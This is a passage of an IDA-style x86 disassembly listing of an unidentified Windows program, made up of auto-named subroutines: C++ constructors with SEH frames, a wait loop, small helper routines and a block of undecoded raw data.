; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417AE0	proc near		; CODE XREF: sub_401DEDj
		add	ecx, 4
		jmp	sub_401023
sub_417AE0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417B00	proc near		; CODE XREF: sub_401FF5j
		add	ecx, 4
		jmp	sub_401023
sub_417B00	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417B20	proc near		; CODE XREF: sub_401EE2j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417B20
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+0BCh]
		mov	[esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417B20	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417BC0	proc near		; CODE XREF: sub_40157Dj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417BC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401424
		lea	ecx, [esi+19h]
		mov	[esp+14h+var_4], 0
		call	sub_401749
		lea	ecx, [esi+47h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401749
		lea	ecx, [esi+75h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401749
		lea	ecx, [esi+0A3h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401749
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E078
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417BC0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417C60	proc near		; CODE XREF: sub_401645j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417C60
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401749
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401749
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401749
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401749
		lea	ecx, [esi+0EAh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401749
		lea	ecx, [esi+118h]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_401749
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E07C
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417C60	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417D30	proc near		; CODE XREF: sub_401776j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417D30
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+8D008h]
		call	sub_401749
		lea	ecx, [esi+8D036h]
		mov	[esp+14h+var_4], 0
		call	sub_401749
		lea	ecx, [esi+8D064h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401749
		lea	ecx, [esi+8D092h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401749
		lea	ecx, [esi+8D0C0h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401749
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E080
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417D30	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417DF0	proc near		; CODE XREF: sub_401820j
		push	esi
		mov	esi, ecx
		call	sub_401E6A
		mov	dword ptr [esi], offset	off_43E050
		mov	eax, esi
		pop	esi
		retn
sub_417DF0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417E20	proc near		; CODE XREF: sub_4016B3j
		push	esi
		mov	esi, ecx
		call	sub_401E6A
		mov	dword ptr [esi], offset	off_43E05C
		mov	eax, esi
		pop	esi
		retn
sub_417E20	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417E50	proc near		; CODE XREF: sub_401415j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417E50
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401749
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401749
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401749
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401749
		lea	ecx, [esi+0EAh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401749
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E084
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417E50	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417F10	proc near		; CODE XREF: sub_401302j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417F10
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401749
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401749
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401749
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401749
		lea	ecx, [esi+0EAh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401749
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E088
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417F10	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417FD0	proc near		; CODE XREF: sub_401271j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417FD0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401749
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E08C
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417FD0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418050	proc near		; CODE XREF: sub_401D11j
		push	esi
		mov	esi, ecx
		call	sub_4011B3
		mov	dword ptr [esi], offset	nullsub_10
		mov	eax, esi
		pop	esi
		retn
sub_418050	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418080	proc near		; CODE XREF: sub_4012FDj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_418080
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401749
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E094
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_418080	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418100	proc near		; CODE XREF: sub_401A7Dj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_418100
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401749
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E098
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_418100	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418180	proc near		; CODE XREF: sub_401285j
		push	esi
		mov	esi, ecx
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		mov	dword ptr [esi], offset	off_43E09C
		mov	eax, esi
		pop	esi
		retn
sub_418180	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4181B0	proc near		; CODE XREF: sub_401CA3j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4181B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401749
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401749
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E0A0
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4181B0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418230	proc near		; CODE XREF: sub_401573j
		push	esi
		mov	esi, ecx
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		mov	dword ptr [esi], offset	off_43E0A4
		mov	eax, esi
		pop	esi
		retn
sub_418230	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418260	proc near		; CODE XREF: sub_40178Fj
		push	esi
		mov	esi, ecx
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		mov	dword ptr [esi], offset	off_43E0A8
		mov	eax, esi
		pop	esi
		retn
sub_418260	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418290	proc near		; CODE XREF: sub_401073j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_418290
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401749
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401749
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401749
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401749
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E0AC
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_418290	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418330	proc near		; CODE XREF: sub_401267j

var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		push	ebx
		push	ebp
		mov	ebp, dword_50F8D0
		push	esi
		mov	esi, ecx
		push	edi
		xor	bl, bl
		mov	byte ptr [esi+9FD2Ch], 1


loc_418348:				; CODE XREF: sub_418330+E4j
		test	bl, bl
		jnz	loc_41841E
		mov	al, [esi+8EF74h]
		test	al, al
		jnz	short loc_41835E
		mov	bl, 1
		jmp	short loc_418372
; ---------------------------------------------------------------------------


loc_41835E:				; CODE XREF: sub_418330+28j
		lea	ecx, [esi+15Fh]
		call	sub_40185C
		test	al, al
		setz	bl
		test	bl, bl
		jz	short loc_418379


loc_418372:				; CODE XREF: sub_418330+2Cj
		mov	byte ptr [esi+9FD2Ch], 0


loc_418379:				; CODE XREF: sub_418330+40j
		lea	ecx, [esp+1Ch+var_C]
		call	sub_402086
		lea	edi, [esi+9FD83h]
		lea	eax, [esp+1Ch+var_4]
		push	eax
		mov	ecx, edi
		call	sub_401F4B
		mov	ecx, [eax]
		lea	edx, [esp+1Ch+var_8]
		mov	[esp+1Ch+var_C], ecx
		push	edx
		mov	ecx, edi
		call	sub_401311
		push	eax
		lea	ecx, [esp+20h+var_C]
		call	sub_4016F9
		test	al, al
		jz	short loc_4183FE


loc_4183B4:				; CODE XREF: sub_418330+CCj
		lea	ecx, [esp+1Ch+var_C]
		call	sub_402211
		mov	ecx, [eax]
		call	sub_401744
		lea	ecx, [esp+1Ch+var_C]
		call	sub_402211
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_4183DB
		mov	edx, [eax]
		push	1
		mov	ecx, eax
		call	dword ptr [edx]


loc_4183DB:				; CODE XREF: sub_418330+A1j
		lea	ecx, [esp+1Ch+var_C]
		call	sub_401361
		lea	eax, [esp+1Ch+var_8]
		mov	ecx, edi
		push	eax
		call	sub_401311
		push	eax
		lea	ecx, [esp+20h+var_C]
		call	sub_4016F9
		test	al, al
		jnz	short loc_4183B4


loc_4183FE:				; CODE XREF: sub_418330+82j
		mov	ecx, edi
		call	sub_4010B9
		push	0FAh
		call	ebp
		mov	al, [esi+9FD2Ch]
		test	al, al
		jnz	loc_418348
		test	bl, bl
		jz	short loc_41842B


loc_41841E:				; CODE XREF: sub_418330+1Aj
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 1
		pop	ebx
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_41842B:				; CODE XREF: sub_418330+ECj
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 0Ch
		retn
sub_418330	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418490	proc near		; CODE XREF: sub_401767j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_418490
		push	eax
		mov	large fs:0, esp
		sub	esp, 1A8h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	ecx, offset byte_4E6EDB
		mov	byte ptr [esi+9FD2Ch], 1
		call	sub_4010B9
		mov	eax, [esp+1C4h+arg_4]
		test	eax, eax
		jz	short loc_4184D0
		push	eax
		jmp	short loc_4184D5
; ---------------------------------------------------------------------------


loc_4184D0:				; CODE XREF: sub_418490+3Bj
		push	offset byte_446F70


loc_4184D5:				; CODE XREF: sub_418490+3Ej
		lea	ecx, [esi+9FD57h]
		call	sub_4015D7
		mov	edi, [esp+1C4h+arg_0]
		test	edi, edi
		jz	short loc_4184EE
		push	edi
		jmp	short loc_4184F3
; ---------------------------------------------------------------------------


loc_4184EE:				; CODE XREF: sub_418490+59j
		push	offset byte_446F70


loc_4184F3:				; CODE XREF: sub_418490+5Cj
		lea	ecx, [esi+9FD6Ch]
		call	sub_4015D7
		push	edi
		lea	ecx, [esi+3Eh]
		call	sub_401384
sub_418490	endp

; ---------------------------------------------------------------------------
		db 8Ah
		dd 0C0844246h, 468B0F74h, 528E8D43h, 50000001h,	0FE945CE8h
		dd 244C8DFFh, 2685128h,	0E8000002h, 7169E121h, 8F88E890h
		dd 8E8DFFFEh, 1BBEh, 0FE92B1E8h, 468E8DFFh, 0E800001Bh
		dd 0FFFE94AEh, 15FBE8Dh, 0CF8B0000h, 0FE97DFE8h, 0D01D8BFFh
		dd 680050F8h, 3E8h, 0CF8BD3FFh,	0FE8CB3E8h, 3E868FFh, 0D3FF0000h
		dd 8448468Ah, 8A0A75C0h, 7C786h, 74C08400h, 318E8D0Bh
		dd 0E80009FCh, 0FFFE8E48h, 3E868h, 8DD3FF00h, 3F99Eh, 58BE8D00h
		dd 5300001Ch, 0B2E8CF8Bh, 8BFFFE95h, 8BE7E8CFh,	868AFFFEh
		dd 77Eh, 0F74C084h, 71C968Dh, 52530000h, 5FE8CF8Bh, 8AFFFE91h
		dd 7C786h, 74C08400h, 0F7AE8D1Dh, 8B000007h, 0D5E855CFh
		dd 84FFFE99h, 530B75C0h, 0E8CF8B55h, 0FFFE8EABh, 0AE8D0EEBh
		dd 7F7h, 0E855CF8Bh, 0FFFE9346h, 7C7868Ah, 0C0840000h
		dd 468A1B74h, 75C08448h, 0CF8B5514h, 0FE99C7E8h, 74C084FFh
		dd 90006A08h, 82185DE8h, 98C6E877h, 8E8DFFFEh, 168h, 0FE91B3E8h
		dd 448D50FFh, 0E8501424h, 0FFFE99E6h, 5008C483h, 0FD2D8E8Dh
		dd 84C70009h, 1C424h, 0
		dd 99B8E800h, 4C8DFFFEh, 84C71024h, 1C024h, 0FFFFFF00h
		dd 8BBCE8FFh, 9E8DFFFEh, 8EF5Dh, 5DE8CB8Bh, 8DFFFE8Dh
		dd 8F2478Eh, 8D52E800h,	8E8DFFFEh, 1D29h, 0FE96F2E8h, 6F8E8DFFh
		dd 0E800001Eh, 0FFFE9449h, 0F2858E8Dh, 66E80008h, 8DFFFE8Fh
		dd 9FA138Eh, 9046E800h,	8E8DFFFEh, 8F3A2h, 0FE9B26E8h
		dd 738E8DFFh, 0E80009FAh, 0FFFE9783h, 3FE8CB8Bh, 8DFFFE93h
		dd 9FC428Eh, 9889E800h,	0CF8BFFFEh, 0FE896EE8h,	0BF8E8DFFh
		dd 0E80008F4h, 0FFFE9525h, 0FB058E8Dh, 9DE80009h, 8DFFFE94h
		dd 9FAD38Eh, 9802E800h,	8E8DFFFEh, 9FB93h, 0FE925CE8h
		dd 0CD8E8DFFh, 0E80009FBh, 0FFFE9931h, 0FBFF8E8Dh, 0C6E80009h
		dd 8BFFFE94h, 8B41E8CEh, 8E8DFFFEh, 8F270h, 11E8F88Bh
		dd 8BFFFE90h, 900AE8CBh, 0D9E8FFFEh, 0E8FFFE93h, 7169BCE4h
		dd 42468A90h, 0B74C084h, 1528E8Dh, 83E80000h, 8BFFFE95h
		dd 1B8248Ch, 0C78B0000h, 5B5D5E5Fh, 0D8964h, 81000000h
		dd 1B4C4h, 8C200h, 3 dup(90909090h), 30h dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------

locret_418840:				; CODE XREF: ___:00402202j
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_418860:				; CODE XREF: ___:00401EC4j
		mov	eax, [esp+0Ch]
		push	0
		push	eax
		mov	ecx, offset dword_447158
		call	sub_401767
; ---------------------------------------------------------------------------
		retn	10h
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418890	proc near		; CODE XREF: sub_401B09j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_4021BC
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401622
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40142E
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_4020E5
sub_418890	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418900	proc near		; CODE XREF: sub_401AFAj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_40139D
sub_418900	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418940	proc near		; CODE XREF: sub_4021DAj

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401311
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401F4B
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_401550
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_40205E
sub_418940	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4189B0	proc near		; CODE XREF: sub_401F4Bj

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		push	eax
		call	sub_4015D2
		mov	ecx, [eax]
		mov	esi, [esp+8+arg_0]
		add	esp, 4
		push	ecx
		mov	ecx, esi
		call	sub_401D84
		mov	eax, esi
		pop	esi
		retn	4
sub_4189B0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4189F0	proc near		; CODE XREF: sub_401311j

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		mov	ecx, esi
		call	sub_401D84
		mov	eax, esi
		pop	esi
		retn	4
sub_4189F0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418A20	proc near		; CODE XREF: sub_4010B9j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401311
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401F4B
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_401550
		pop	esi
		add	esp, 0Ch
		retn
sub_418A20	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418A70	proc near		; CODE XREF: sub_402086j
		push	esi
		mov	esi, ecx
		call	sub_401528
		mov	eax, esi
		pop	esi
		retn
sub_418A70	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418A90	proc near		; CODE XREF: sub_402211j
		mov	eax, [ecx]
		push	eax
		call	sub_401172
		add	esp, 4
		retn
sub_418A90	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418AB0	proc near		; CODE XREF: sub_401361j
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_4015D2
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_418AB0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418AE0	proc near		; CODE XREF: sub_4016F9j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_40221B
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_418AE0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418B10	proc near		; CODE XREF: sub_40142Ej

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_40183E
		test	al, al
		jz	short loc_418B6A


loc_418B28:				; CODE XREF: sub_418B10+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_40116D
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_40123F
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_40183E
		test	al, al
		jnz	short loc_418B28
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_418B6A:				; CODE XREF: sub_418B10+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_418B10	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418BA0	proc near		; CODE XREF: sub_4020E5j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_401D57
sub_418BA0	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418BC0	proc near		; CODE XREF: sub_401550j

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_4016F9
		test	al, al
		jz	short loc_418C1A


loc_418BD8:				; CODE XREF: sub_418BC0+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
